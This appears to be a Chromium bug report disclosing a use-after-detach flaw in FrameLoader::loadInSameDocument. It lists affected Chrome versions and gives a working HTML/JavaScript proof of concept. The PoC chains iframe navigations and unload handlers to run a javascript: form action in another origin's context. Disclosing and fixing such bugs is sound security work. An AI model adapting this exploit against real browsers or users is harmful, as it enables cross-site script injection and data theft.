FrameLoader::loadInSameDocument is vulnerable to a problem similar to the one described in issue 613266:
void FrameLoader::loadInSameDocument(const KURL& url, (...))
{
(...)
// If we have a provisional request for a different document, a fragment scroll should cancel it.
detachDocumentLoader(m_provisionalDocumentLoader);
if (!m_frame->host())
return;
(...)
}
Calling FrameLoader::startLoad in the middle of detaching |m_provisionalDocumentLoader| will cause the new provisional loader to be cleared prematurely. In this case, |m_provisionalDocumentLoader| isn’t set up afterwards, so the attacker has to take care of it explicitly after the hash navigation in order to avoid crashes.
Chrome 51.0.2704.79 (Stable)
Chrome 52.0.2743.24 (Beta)
Chrome 53.0.2756.0 (Dev)
Chromium 53.0.2760.0 (Release build compiled today)
<script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
var d = i.contentDocument.open();
var s = d.appendChild(d.createElement('iframe'));
onload = function() {
var a = d.createElement('a');
a.href = 'data:text/xml,';
a.click();
}
s.contentWindow.onunload = function() {
stop();
setTimeout(g, 1);
}
function g() {
i.onload = function() {
var x = d.createElement('form');
x.action = 'javascript:alert(location)';
x.submit();
}
i.src = 'https://abc.xyz';
}
function f() {
var a = d.createElement('a');
a.href = 'data:text/html,';
a.click();
d.close();
a = d.createElement('a');
a.href = '#';
a.click();
a = d.createElement('a');
a.href = 'http://www.apple.com';
a.click();
}
setTimeout(f, 100);
</script>